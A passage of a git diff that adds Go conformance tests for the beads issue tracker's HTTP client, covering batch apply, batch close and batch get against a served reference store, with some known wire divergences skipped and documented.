*testing.T) { + conformance.RunBatchApplyBindsEachNamedKeyToItsMintedID(t, t.Context(), newServedBatchApplyFixture(t, "hba01")) +} + +func TestServedBatchApplyResolvesABackwardKeyRef(t *testing.T) { + conformance.RunBatchApplyResolvesABackwardKeyRef(t, t.Context(), newServedBatchApplyFixture(t, "hba02")) +} + +func TestServedBatchApplyRefusesAKeyDeclaredLater(t *testing.T) { + conformance.RunBatchApplyRefusesAKeyDeclaredLater(t, t.Context(), newServedBatchApplyFixture(t, "hba03")) +} + +func TestServedBatchApplyRefusesAKeyNoItemDeclares(t *testing.T) { + conformance.RunBatchApplyRefusesAKeyNoItemDeclares(t, t.Context(), newServedBatchApplyFixture(t, "hba04")) +} + +func TestServedBatchApplyRefusesARefNamingNeitherOrBoth(t *testing.T) { + conformance.RunBatchApplyRefusesARefNamingNeitherOrBoth(t, t.Context(), newServedBatchApplyFixture(t, "hba05")) +} + +func TestServedBatchApplyRollsBackEverythingWhenTheLastItemRefuses(t *testing.T) { + conformance.RunBatchApplyRollsBackEverythingWhenTheLastItemRefuses(t, t.Context(), newServedBatchApplyFixture(t, "hba06")) +} + +func TestServedBatchApplyNeverReordersItsItems(t *testing.T) { + conformance.RunBatchApplyNeverReordersItsItems(t, t.Context(), newServedBatchApplyFixture(t, "hba07")) +} + +func TestServedBatchApplyEndGateRefusesAHierarchyTheRequestBuilt(t *testing.T) { + conformance.RunBatchApplyEndGateRefusesAHierarchyTheRequestBuilt(t, t.Context(), newServedBatchApplyFixture(t, "hba08")) +} + +func TestServedBatchApplyEndGateCycleSurvivesSkipPerEdgeCycleCheck(t *testing.T) { + conformance.RunBatchApplyEndGateCycleSurvivesSkipPerEdgeCycleCheck(t, t.Context(), newServedBatchApplyFixture(t, "hba09")) +} + +func TestServedBatchApplyExpectedVersionThatMatchesLetsTheItemThrough(t *testing.T) { + conformance.RunBatchApplyExpectedVersionThatMatchesLetsTheItemThrough(t, t.Context(), newServedBatchApplyFixture(t, "hba0a")) +} + +func TestServedBatchApplyStaleExpectedVersionRefusesTheWholeRequest(t *testing.T) { + conformance.RunBatchApplyStaleExpectedVersionRefusesTheWholeRequest(t, t.Context(), newServedBatchApplyFixture(t, "hba0b")) +} + +func TestServedBatchApplyRefusesExpectedVersionOnARowAnEarlierItemTouched(t *testing.T) { + conformance.RunBatchApplyRefusesExpectedVersionOnARowAnEarlierItemTouched(t, t.Context(), newServedBatchApplyFixture(t, "hba0c")) +} + +func TestServedBatchApplyRefusesExpectedVersionOnARowAnEarlierItemCreated(t *testing.T) { + conformance.RunBatchApplyRefusesExpectedVersionOnARowAnEarlierItemCreated(t, t.Context(), newServedBatchApplyFixture(t, "hba0d")) +} + +func TestServedBatchApplyEvaluatesExpectedStatusAsModified(t *testing.T) { + conformance.RunBatchApplyEvaluatesExpectedStatusAsModified(t, t.Context(), newServedBatchApplyFixture(t, "hba0e")) +} + +func TestServedBatchApplyEvaluatesExpectedAssigneeAsModified(t *testing.T) { + conformance.RunBatchApplyEvaluatesExpectedAssigneeAsModified(t, t.Context(), newServedBatchApplyFixture(t, "hba0f")) +} + +func TestServedBatchApplyClosePolicyEvaluatesAtTheCloseItem(t *testing.T) { + conformance.RunBatchApplyClosePolicyEvaluatesAtTheCloseItem(t, t.Context(), newServedBatchApplyFixture(t, "hba10")) +} + +func TestServedBatchApplyAllowsAClosedParentToGainAnOpenChild(t *testing.T) { + conformance.RunBatchApplyAllowsAClosedParentToGainAnOpenChild(t, t.Context(), newServedBatchApplyFixture(t, "hba11")) +} + +func TestServedBatchApplyUpdateAfterCloseInOneRequest(t *testing.T) { + conformance.RunBatchApplyUpdateAfterCloseInOneRequest(t, t.Context(), newServedBatchApplyFixture(t, "hba12")) +} + +func TestServedBatchApplyReportsChangedPerItem(t *testing.T) { + conformance.RunBatchApplyReportsChangedPerItem(t, t.Context(), newServedBatchApplyFixture(t, "hba13")) +} + +func TestServedBatchApplyANoOpBatchRecordsNoHistory(t *testing.T) { + conformance.RunBatchApplyANoOpBatchRecordsNoHistory(t, t.Context(), newServedBatchApplyFixture(t, "hba14")) +} + +func TestServedBatchApplyRecordsOneEntryForAWriteThatLandedNothing(t *testing.T) { + conformance.RunBatchApplyRecordsOneEntryForAWriteThatLandedNothing(t, t.Context(), newServedBatchApplyFixture(t, "hba15")) +} + +func TestServedBatchApplyRecordsExactlyOneHistoryEntry(t *testing.T) { + conformance.RunBatchApplyRecordsExactlyOneHistoryEntry(t, t.Context(), newServedBatchApplyFixture(t, "hba16")) +} + +func TestServedBatchApplyHistoryNamesTheActorAndReadsTheProvenance(t *testing.T) { + conformance.RunBatchApplyHistoryNamesTheActorAndReadsTheProvenance(t, t.Context(), newServedBatchApplyFixture(t, "hba17")) +} + +func TestServedBatchApplyARefusedRequestRecordsNoHistory(t *testing.T) { + conformance.RunBatchApplyARefusedRequestRecordsNoHistory(t, t.Context(), newServedBatchApplyFixture(t, "hba18")) +} + +func TestServedBatchApplyAnEphemeralBatchKeepsItsWispsAndRecordsNoDurableHistory(t *testing.T) { + conformance.RunBatchApplyAnEphemeralBatchKeepsItsWispsAndRecordsNoDurableHistory(t, t.Context(), newServedBatchApplyFixture(t, "hba19")) +} + +func TestServedBatchApplyRefusesACrossPlaneEdgeBetweenRowsItCreated(t *testing.T) { + conformance.RunBatchApplyRefusesACrossPlaneEdgeBetweenRowsItCreated(t, t.Context(), newServedBatchApplyFixture(t, "hba1a")) +} + +func TestServedBatchApplyAcceptsAnExternalEdgeTarget(t *testing.T) { + conformance.RunBatchApplyAcceptsAnExternalEdgeTarget(t, t.Context(), newServedBatchApplyFixture(t, "hba1b")) +} + +func TestServedBatchApplyNormalizesTheWaitsForGate(t *testing.T) { + conformance.RunBatchApplyNormalizesTheWaitsForGate(t, t.Context(), newServedBatchApplyFixture(t, "hba1c")) +} + +// TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed parks on the edge item's +// spawner flag. The case's second half, an edge that names no spawner, is what +// this wire writes for every waits-for edge; its first half is the item the +// client refuses. +func TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed(t *testing.T) { + skipKnownDivergence(t, "W-DepAddItem.HasSpawner", applyParkBead, + "the case names a spawner on a waits-for edge (DepAddItem.HasSpawner), and ApplyDepAddItem publishes no "+ + "spawner member, so the client refuses the item rather than letting the server store the edge without "+ + "the spawner_id the role would stamp from its resolved target.") + conformance.RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t, t.Context(), newServedBatchApplyFixture(t, "hba27")) +} + +func TestServedBatchApplySplicesAForwardMetadataRef(t *testing.T) { + conformance.RunBatchApplySplicesAForwardMetadataRef(t, t.Context(), newServedBatchApplyFixture(t, "hba1d")) +} + +func TestServedBatchApplySplicesASelfMetadataRef(t *testing.T) { + conformance.RunBatchApplySplicesASelfMetadataRef(t, t.Context(), newServedBatchApplyFixture(t, "hba1e")) +} + +// TestServedBatchApplyRefusesAMetadataRefNoItemDeclares is the family's +// response-shape park, a divergence of shape rather than of behavior: the +// refusal happens, nothing is written, and the diagnosis a caller ACTS on — +// DeclaredLater — arrives whole. What the wire cannot carry is WHICH entry of +// the refs map failed. +func TestServedBatchApplyRefusesAMetadataRefNoItemDeclares(t *testing.T) { + skipKnownDivergence(t, "L-apply-ref", applyParkBead, + "the case binds RefError.Member to `metadata_ref `, and the wire names the MEMBER that held the bad ref "+ + "(`items[0].create.metadata_refs`) without saying which entry of it failed — RefError.Member is diagnostic "+ + "prose on both sides rather than a vocabulary, so the server maps it onto the document's own member names. "+ + "The refusal itself, the untouched tables and the false DeclaredLater are asserted by "+ + "TestServedBatchApplyRefusesAMetadataRefWithoutNamingTheKey.") + // The call stays BELOW the skip and compiled, which is this package's park + // convention and is load-bearing rather than decorative: a parked case that + // only named its contract in prose is a dangling reference nothing + // type-checks, so a renamed entrypoint or a changed fixture would orphan the + // park silently. Here it breaks the build. + conformance.RunBatchApplyRefusesAMetadataRefNoItemDeclares(t, t.Context(), newServedBatchApplyFixture(t, "hba1f")) +} + +func TestServedBatchApplyTheSpliceRecordsAnUpdateEvent(t *testing.T) { + conformance.RunBatchApplyTheSpliceRecordsAnUpdateEvent(t, t.Context(), newServedBatchApplyFixture(t, "hba20")) +} + +func TestServedBatchApplyKeepsAStoredNullApartFromAnEmptyString(t *testing.T) { + conformance.RunBatchApplyKeepsAStoredNullApartFromAnEmptyString(t, t.Context(), newServedBatchApplyFixture(t, "hba21")) +} + +func TestServedBatchApplyLandsAnIdempotencyRecordWithItsWork(t *testing.T) { + conformance.RunBatchApplyLandsAnIdempotencyRecordWithItsWork(t, t.Context(), newServedBatchApplyFixture(t, "hba22")) +} + +func TestServedBatchApplyBoundsTheItemCount(t *testing.T) { + fixture := newServedBatchApplyFixture(t, "hba23") + if raceEnabled { + // Under -race the full 1000-item apply outlasts the client's 60s + // per-request timeout (wire.DefaultTimeout) on the embedded lane's + // executors, so only the "at bound" half's applied count drops, to + // 150 (the whole case then took 26s there), as the embedded tier's + // own TestBatchApplyContract does; see + // RunBatchApplyBoundsTheItemCountAtScale for what that leaves pinned. + // The refusing half still sends MaxApplyBatchItems+1 over the wire, + // and scripts/conformance.sh runs the full size without -race. + conformance.RunBatchApplyBoundsTheItemCountAtScale(t, t.Context(), fixture, 150) + return + } + conformance.RunBatchApplyBoundsTheItemCount(t, t.Context(), fixture) +} + +func TestServedBatchApplyReplayMintsANewSetOfRows(t *testing.T) { + conformance.RunBatchApplyReplayMintsANewSetOfRows(t, t.Context(), newServedBatchApplyFixture(t, "hba24")) +} + +func TestServedBatchApplyDoesNotMutateTheCallerRequest(t *testing.T) { + conformance.RunBatchApplyDoesNotMutateTheCallerRequest(t, t.Context(), newServedBatchApplyFixture(t, "hba25")) +} + +func TestServedBatchApplyRefusesAnUnusableRequest(t *testing.T) { + conformance.RunBatchApplyRefusesAnUnusableRequest(t, t.Context(), newServedBatchApplyFixture(t, "hba26")) +} + +// TestServedBatchApplyRefusesAMetadataRefWithoutNamingTheKey is the running pin +// beside the park above: the same request, driven end to end, asserting +// everything the contract asserts EXCEPT the key inside the member — the +// refusal is a *RefError matching ErrValidation, DeclaredLater is false, the +// item is named, and nothing was written. +// +// It is written so it CAN fail: the positive half re-runs the identical plan +// with the ref pointed at a key the request does declare, and the row lands +// with the resolved id spliced over the metadata key. A client that refused +// every metadata ref would pass the refusal half alone. +func TestServedBatchApplyRefusesAMetadataRefWithoutNamingTheKey(t *testing.T) { + ctx := t.Context() + fixture := newServedBatchApplyFixture(t, "hbaref") + + id := fixture.IssuePrefix + "-ghostmeta-row" + item := issueops.ApplyItem{Kind: issueops.ItemCreate, Create: &issueops.CreateItem{ + Key: "only", + Issue: &issueops.Issue{ID: id, Title: "names a key nothing declares", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + MetadataRefs: map[string]issueops.Ref{"gc.retry_of": {Key: "never-declared"}}, + }} + + _, err := fixture.BatchApplier.ApplyBatch(ctx, issueops.ApplyBatchRequest{ + Actor: "apply-writer", ForceIDPrefix: true, Items: []issueops.ApplyItem{item}, + }) + var refErr *issueops.RefError + if !errors.As(err, &refErr) { + t.Fatalf("a metadata_ref naming an undeclared key: error = %v, want *RefError", err) + } + if refErr.DeclaredLater { + t.Errorf("RefError = %#v, want DeclaredLater false: no item declares that key at all", refErr) + } + if refErr.Index != 0 { + t.Errorf("RefError.Index = %d, want 0", refErr.Index) + } + if refErr.Key != "never-declared" { + t.Errorf("RefError.Key = %q, want the unresolvable key", refErr.Key) + } + // The degraded half, asserted rather than left implicit: the member is + // named without the key inside it (L-apply-ref). Asserting it here is what + // makes the ledger row falsifiable — the day the wire carries the key, this + // fails and the park retires with it. + if refErr.Member != "metadata_refs" { + t.Errorf("RefError.Member = %q, want the member alone; L-apply-ref records that the key is not on the wire", refErr.Member) + } + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("error = %v, want ErrValidation through RefError.Unwrap", err) + } + var rows int + if err := fixture.QueryScalar(ctx, "SELECT COUNT(*) FROM issues WHERE id = ?", []any{id}, &rows); err != nil { + t.Fatalf("counting the refused row: %v", err) + } + if rows != 0 { + t.Errorf("the refused plan wrote %s anyway", id) + } + + // The positive half. The identical plan with the ref pointed at a key the + // request DOES declare lands, and the splice writes the resolved id. + peer := fixture.IssuePrefix + "-ghostmeta-peer" + item.Create.MetadataRefs = map[string]issueops.Ref{"gc.retry_of": {Key: "peer"}} + if _, err := fixture.BatchApplier.ApplyBatch(ctx, issueops.ApplyBatchRequest{ + Actor: "apply-writer", ForceIDPrefix: true, + Items: []issueops.ApplyItem{item, {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{ + Key: "peer", + Issue: &issueops.Issue{ID: peer, Title: "the key it names", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + }}}, + }); err != nil { + t.Fatalf("the same plan with a declared key refused: %v", err) + } + var metadata string + if err := fixture.QueryScalar(ctx, "SELECT COALESCE(metadata, '') FROM issues WHERE id = ?", []any{id}, &metadata); err != nil { + t.Fatalf("reading the spliced metadata: %v", err) + } + if !strings.Contains(metadata, peer) { + t.Errorf("metadata = %q, want the resolved id %s spliced over gc.retry_of", metadata, peer) + } +} + +// TestServedBatchApplyStampsEachCreateItemsCreatedByFromTheActor is the served +// half of created_by on the plan: ApplyCreateItem publishes no created_by, so +// the stored creator exists only because the server stamps it from the actor +// (internal/httpapi's batch_apply.go). A create item whose CreatedBy names that +// actor — the shape the graph apply sends — is carried by the stamp rather than +// refused. +func TestServedBatchApplyStampsEachCreateItemsCreatedByFromTheActor(t *testing.T) { + ctx := t.Context() + env := newServedEnv(t, "hbacby") + applier, err := env.subject.BatchApplier() + if err != nil { + t.Fatalf("BatchApplier(): %v", err) + } + + res, err := applier.ApplyBatch(ctx, issueops.ApplyBatchRequest{ + Actor: "plan-writer", + Items: []issueops.ApplyItem{{Kind: issueops.ItemCreate, Create: &issueops.CreateItem{ + Key: "planned", + Issue: &issueops.Issue{Title: "planned", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, CreatedBy: "plan-writer"}, + }}}, + }) + if err != nil { + t.Fatalf("ApplyBatch in the graph apply's shape = %v, want it served", err) + } + id := res.Keys["planned"] + if id == "" { + t.Fatalf("Keys = %v, want the minted id bound to %q", res.Keys, "planned") + } + stored, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read back %s: %v", id, err) + } + if stored.CreatedBy != "plan-writer" { + t.Errorf("stored created_by = %q, want the actor %q", stored.CreatedBy, "plan-writer") + } +} + +// TestServedBatchApplyAnswersEveryItemWithoutASnapshot is the running pin on +// ledger row L-apply-snapshot, and it is a DIFFERENTIAL rather than a golden: +// the same plan is applied through the client and through the reference +// store's own role, and the two results are compared member for member EXCEPT +// the snapshot. What the row admits — that Issue is nil on this leg — is +// asserted beside a local run where it is not, so the divergence is measured +// rather than declared. +// +// The positive half is the whole comparison: a client that answered an empty +// result, or dropped a revision, or lost the edge's DependsOnID, would satisfy +// "no snapshot" and fail here. +func TestServedBatchApplyAnswersEveryItemWithoutASnapshot(t *testing.T) { + ctx := t.Context() + env := newServedEnv(t, "hbasnap") + remote, err := env.subject.BatchApplier() + if err != nil { + t.Fatalf("BatchApplier(): %v", err) + } + local, err := env.reference.BatchApplier() + if err != nil { + t.Fatalf("reference BatchApplier(): %v", err) + } + + plan := func(tag string) issueops.ApplyBatchRequest { + root := env.prefix + "-snap-" + tag + "-root" + leaf := env.prefix + "-snap-" + tag + "-leaf" + issue := func(id string) *issueops.Issue { + return &issueops.Issue{ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + } + return issueops.ApplyBatchRequest{ + Actor: "apply-writer", ForceIDPrefix: true, + Items: []issueops.ApplyItem{ + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{Key: "root", Issue: issue(root)}}, + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{Key: "leaf", Issue: issue(leaf)}}, + {Kind: issueops.ItemDepAdd, DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: "leaf"}, Target: issueops.Ref{Key: "root"}, Type: types.DepParentChild, + }}, + {Kind: issueops.ItemClose, Close: &issueops.CloseItem{Target: issueops.Ref{Key: "leaf"}, Reason: "done"}}, + }, + } + } + + through, err := remote.ApplyBatch(ctx, plan("wire")) + if err != nil { + t.Fatalf("ApplyBatch over the wire: %v", err) + } + beside, err := local.ApplyBatch(ctx, plan("local")) + if err != nil { + t.Fatalf("ApplyBatch through the reference store: %v", err) + } + + if len(through.Items) != len(beside.Items) { + t.Fatalf("the wire answered %d items and the reference %d", len(through.Items), len(beside.Items)) + } + if len(through.Keys) != len(beside.Keys) { + t.Errorf("the wire bound %d keys and the reference %d", len(through.Keys), len(beside.Keys)) + } + for key, id := range through.Keys { + if id == "" { + t.Errorf("Keys[%q] is empty; the key binding is the one fact the request cannot carry", key) + } + } + for i := range through.Items { + remoteItem, localItem := through.Items[i], beside.Items[i] + if remoteItem.Kind != localItem.Kind || remoteItem.Changed != localItem.Changed { + t.Errorf("items[%d]: wire %s/changed=%v, reference %s/changed=%v", + i, remoteItem.Kind, remoteItem.Changed, localItem.Kind, localItem.Changed) + } + if (remoteItem.DependsOnID == "") != (localItem.DependsOnID == "") { + t.Errorf("items[%d]: wire DependsOnID %q, reference %q — the edge target is set for dep_add and absent elsewhere", + i, remoteItem.DependsOnID, localItem.DependsOnID) + } + if (remoteItem.RowVersion == 0) != (localItem.RowVersion == 0) { + t.Errorf("items[%d]: wire revision %d, reference %d — a dep_add is 0 on both and a row item is not on either", + i, remoteItem.RowVersion, localItem.RowVersion) + } + // The divergence the row admits, measured in both directions at once. + if remoteItem.Issue != nil { + t.Errorf("items[%d] came back with a snapshot; the wire result is lean (L-apply-snapshot)", i) + } + if localItem.Kind != issueops.ItemDepAdd && localItem.Issue == nil { + t.Errorf("items[%d] carries no snapshot on the REFERENCE leg either; this case would then be asserting "+ + "nothing about the divergence L-apply-snapshot records", i) + } + } +} diff --git a/internal/httpclient/served_batch_close_test.go b/internal/httpclient/served_batch_close_test.go new file mode 100644 index 000000000..11b9a5145 --- /dev/null +++ b/internal/httpclient/served_batch_close_test.go @@ -0,0 +1,170 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_batch_close_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The BatchCloser contract against the served surface. +// +// The client sends the whole CloseBatchRequest on one issues:batchClose call, +// and the reference store answers with the per-item outcomes. The transactional +// ClaimNext the storage-level contract composes onto CloseBatch has NO v0 wire +// expression: BatchCloseRequest/BatchCloseResponse publish no +// claim_next/claimed_next member, so the client refuses any non-nil +// req.ClaimNext (D8 refuse-not-drop) rather than silently dropping the claim. +// The seven cases that exercise a real ClaimNext are parked with +// skipKnownDivergence citing W-CloseBatchRequest.ClaimNext; everything else — +// including the two cases that merely validate a ClaimNext filter's shape +// before any capability question is reached — runs for real. +// +// Seeding still never goes through the client: every fixture takes its seed and +// post-state hooks from the reference store the server serves, and binds only the +// BatchCloser under test to the http client (checkFixtureBinding). + +func newServedBatchCloserFixture(t *testing.T, prefix string) conformance.BatchCloserFixture { + t.Helper() + env := newServedEnv(t, prefix) + closer, err := env.subject.BatchCloser() + if err != nil { + t.Fatalf("BatchCloser(): %v", err) + } + return conformance.BatchCloserFixture{ + IssuePrefix: env.prefix, + Closer: closer, + CreateIssue: env.createIssue, + AddDependency: env.addDependency, + CreateWisp: env.createWisp, + AddComment: env.reference.AddComment, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + // The message-scoped hook the wisp-naming case needs. Without it that + // case skips as UNPINNED, which is a weaker claim than this tier can + // make: the reference store behind the composition is embedded Dolt, so + // its log is readable BY MESSAGE and the clause is checkable here. + CountHistoryMatching: env.countHistoryMatching, + } +} + +func TestServedBatchCloserOutcomeSnapshotIsTheDocumentedShape(t *testing.T) { + conformance.RunBatchCloserOutcomeSnapshotIsTheDocumentedShape(t, t.Context(), newServedBatchCloserFixture(t, "hbcsnap")) +} + +func TestServedBatchCloserBackendFailureReturnsNoOutcomes(t *testing.T) { + conformance.RunBatchCloserBackendFailureReturnsNoOutcomes(t, t.Context(), newServedBatchCloserFixture(t, "hbcfail")) +} + +func TestServedBatchCloserOutcomesMirrorItemsIndexForIndex(t *testing.T) { + conformance.RunBatchCloserOutcomesMirrorItemsIndexForIndex(t, t.Context(), newServedBatchCloserFixture(t, "hbcmir")) +} + +func TestServedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit(t *testing.T) { + conformance.RunBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit(t, t.Context(), newServedBatchCloserFixture(t, "hbcperitem")) +} + +func TestServedBatchCloserRequestValidationReturnsZeroResultAndChangesNothing(t *testing.T) { + conformance.RunBatchCloserRequestValidationReturnsZeroResultAndChangesNothing(t, t.Context(), newServedBatchCloserFixture(t, "hbcval")) +} + +func TestServedBatchCloserClaimFilterValueFailureIsARequestValidationFailure(t *testing.T) { + conformance.RunBatchCloserClaimFilterValueFailureIsARequestValidationFailure(t, t.Context(), newServedBatchCloserFixture(t, "hbccfilt")) +} + +func TestServedBatchCloserIdempotentRecloseIsAPerItemSuccess(t *testing.T) { + conformance.RunBatchCloserIdempotentRecloseIsAPerItemSuccess(t, t.Context(), newServedBatchCloserFixture(t, "hbcidem")) +} + +func TestServedBatchCloserAllIdempotentBatchLandsNothing(t *testing.T) { + skipKnownDivergence(t, "W-CloseBatchRequest.ClaimNext", parkBead, + "the case drives a real ClaimNext through CloseBatch; the v0 wire's "+ + "BatchCloseRequest/BatchCloseResponse publish no claim_next/claimed_next "+ + "member, so the client refuses it (D8 refuse-not-drop) rather than silently "+ + "dropping the claim") + conformance.RunBatchCloserAllIdempotentBatchLandsNothing(t, t.Context(), newServedBatchCloserFixture(t, "hbcallid")) +} + +func TestServedBatchCloserDuplicateItemRecloseAtItsOwnIndex(t *testing.T) { + conformance.RunBatchCloserDuplicateItemRecloseAtItsOwnIndex(t, t.Context(), newServedBatchCloserFixture(t, "hbcdup")) +} + +func TestServedBatchCloserWispItemClosesAndEarnsTheClaim(t *testing.T) { + skipKnownDivergence(t, "W-CloseBatchRequest.ClaimNext", parkBead, + "the case asserts the wisp close earns a real ClaimNext; the v0 wire has no "+ + "claim_next/claimed_next member on BatchClose, so the client refuses the "+ + "request rather than earning a claim it cannot report back") + conformance.RunBatchCloserWispItemClosesAndEarnsTheClaim(t, t.Context(), newServedBatchCloserFixture(t, "hbcwisp")) +} + +func TestServedBatchCloserDurableHistoryNeverNamesAWisp(t *testing.T) { + conformance.RunBatchCloserDurableHistoryNeverNamesAWisp(t, t.Context(), newServedBatchCloserFixture(t, "hbcwhist")) +} + +func TestServedBatchCloserForceBypassesOnlyClosePolicy(t *testing.T) { + conformance.RunBatchCloserForceBypassesOnlyClosePolicy(t, t.Context(), newServedBatchCloserFixture(t, "hbcforce")) +} + +func TestServedBatchCloserClaimNextHydratesWhenSomethingClosed(t *testing.T) { + skipKnownDivergence(t, "W-CloseBatchRequest.ClaimNext", parkBead, + "the case needs CloseBatch to hydrate a real ClaimNext result; the v0 wire "+ + "carries no claim_next/claimed_next member, so the client refuses rather "+ + "than hydrating a claim from nothing") + conformance.RunBatchCloserClaimNextHydratesWhenSomethingClosed(t, t.Context(), newServedBatchCloserFixture(t, "hbccnhy")) +} + +func TestServedBatchCloserClaimNextIsNilWhenNothingClosed(t *testing.T) { + skipKnownDivergence(t, "W-CloseBatchRequest.ClaimNext", parkBead, + "the case asserts a nil ClaimedNext after a real ClaimNext request landed "+ + "nothing to close; the v0 wire has no member to carry the request at all, "+ + "so the client refuses it before the nil-vs-populated question is reachable") + conformance.RunBatchCloserClaimNextIsNilWhenNothingClosed(t, t.Context(), newServedBatchCloserFixture(t, "hbccnno")) +} + +func TestServedBatchCloserClaimNextIsNilWhenTheFrontIsEmpty(t *testing.T) { + skipKnownDivergence(t, "W-CloseBatchRequest.ClaimNext", parkBead, + "same as the other ClaimNext-on-CloseBatch cases: the v0 wire has no "+ + "claim_next/claimed_next member, so the client refuses the request") + conformance.RunBatchCloserClaimNextIsNilWhenTheFrontIsEmpty(t, t.Context(), newServedBatchCloserFixture(t, "hbccnempty")) +} + +func TestServedBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch(t *testing.T) { + skipKnownDivergence(t, "W-CloseBatchRequest.ClaimNext", parkBead, + "the case needs the batch's own unblocking to be visible to a ClaimNext run "+ + "in the same request; the v0 wire cannot carry ClaimNext on CloseBatch at "+ + "all, so the client refuses before the ordering question is reachable") + conformance.RunBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch(t, t.Context(), newServedBatchCloserFixture(t, "hbccnunb")) +} + +func TestServedBatchCloserRecordsOneHistoryEntryForWhatLanded(t *testing.T) { + conformance.RunBatchCloserRecordsOneHistoryEntryForWhatLanded(t, t.Context(), newServedBatchCloserFixture(t, "hbc1hist")) +} + +func TestServedBatchCloserAllRefusedBatchRecordsNoHistory(t *testing.T) { + conformance.RunBatchCloserAllRefusedBatchRecordsNoHistory(t, t.Context(), newServedBatchCloserFixture(t, "hbcnohist")) +} + +func TestServedBatchCloserDoesNotMutateTheCallerRequest(t *testing.T) { + skipKnownDivergence(t, "W-CloseBatchRequest.ClaimNext", parkBead, + "the case populates req.ClaimNext with a real ready filter and closes for "+ + "real to prove the caller's request pointer survives untouched; the v0 "+ + "wire cannot carry ClaimNext on CloseBatch, so the client refuses before "+ + "any closing happens") + conformance.RunBatchCloserDoesNotMutateTheCallerRequest(t, t.Context(), newServedBatchCloserFixture(t, "hbcnomut")) +} + +// TestServedBatchCloserSettlesTheDependersOfWhatItClosed is the blocked-state +// postcondition, and the only case here whose observable is a column no read on +// this surface hydrates — so it goes to the reference store directly. +// +// It is the batch's own version of the clause the single close carries, and the +// batch is where it is easiest to get wrong: two items land in ONE transaction, +// so a body that settled per item, or settled only the items it walked last, +// leaves a depender of the first item marked blocked by a row that is closed. +func TestServedBatchCloserSettlesTheDependersOfWhatItClosed(t *testing.T) { + conformance.RunBatchCloserSettlesTheDependersOfWhatItClosed(t, t.Context(), newServedBatchCloserFixture(t, "hbcbs")) +} diff --git a/internal/httpclient/served_batch_getter_test.go b/internal/httpclient/served_batch_getter_test.go new file mode 100644 index 000000000..746167eb0 --- /dev/null +++ b/internal/httpclient/served_batch_getter_test.go @@ -0,0 +1,63 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_batch_getter_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The BatchGetter contract, run through the http client against a real bd +// serve. +// +// This is the role behind gc's ready veto and the CLI's own id-resolution +// passes once they move off one Get per id: a caller names up to +// issueops.MaxGetManyIDs ids and gets back every one the store holds, +// hydrated and in request order, plus a Missing sentinel for every id that +// named no row. The cap and the blank-id checks are refused CLIENT-SIDE, in +// checkGetManyIDs, before the dial — batch_get.go's failBatchGetErr collapses +// every validation failure on this surface into one generic, +// code-less InvalidArgument, so a round trip could never hand this client +// back the typed *issueops.TooManyIDsError the RefusesOverTheCap case +// requires. +func TestServedBatchGetterContract(t *testing.T) { + e := newServedEnv(t, "bge") + getter, err := e.subject.BatchGetter() + if err != nil { + t.Fatalf("BatchGetter(): %v", err) + } + fixture := conformance.BatchGetterFixture{ + IssuePrefix: "bge", + BatchGetter: getter, + CreateIssue: e.createIssue, + CreateWisp: e.createWisp, + CountHistory: e.countHistory, + } + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.BatchGetterFixture) + }{ + {"FindsRequestedIssues", conformance.RunBatchGetterFindsRequestedIssues}, + {"ReportsMissingIDs", conformance.RunBatchGetterReportsMissingIDs}, + {"CollapsesRepeatedIDs", conformance.RunBatchGetterCollapsesRepeatedIDs}, + {"AnswersInRequestOrder", conformance.RunBatchGetterAnswersInRequestOrder}, + {"ResolvesIDsExactly", conformance.RunBatchGetterResolvesIDsExactly}, + {"AnswersAnEmptyRequest", conformance.RunBatchGetterAnswersAnEmptyRequest}, + {"RefusesAnUnusableRequest", conformance.RunBatchGetterRefusesAnUnusableRequest}, + {"RefusesOverTheCap", conformance.RunBatchGetterRefusesOverTheCap}, + {"AcceptsExactlyTheCap", conformance.RunBatchGetterAcceptsExactlyTheCap}, + {"HydratesLabels", conformance.RunBatchGetterHydratesLabels}, + {"LeavesTheRequestAlone", conformance.RunBatchGetterLeavesTheRequestAlone}, + {"SharesOneReadStructurally", conformance.RunBatchGetterSharesOneReadStructurally}, + {"CrossesBothPlanes", conformance.RunBatchGetterCrossesBothPlanes}, + {"WritesNothing", conformance.RunBatchGetterWritesNothing}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} diff --git a/internal/httpclient/served_bridge_test.go b/internal/httpclient/served_bridge_test.go new file mode 100644 index 000000000..a09854ae5 --- /dev/null +++ b/internal/httpclient/served_bridge_test.go @@ -0,0 +1,664 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_bridge_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "errors" + "sort" + "testing" + + "github.com/steveyegge/beads/internal/httpclient/encode" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +// The off-role text-path bridge, run as a DUAL RUN: the same question asked of +// the reference store directly and of the http client, and the two answers +// compared. +// +// That is the only form in which D4's parent-walk inversion can be believed. The +// encode 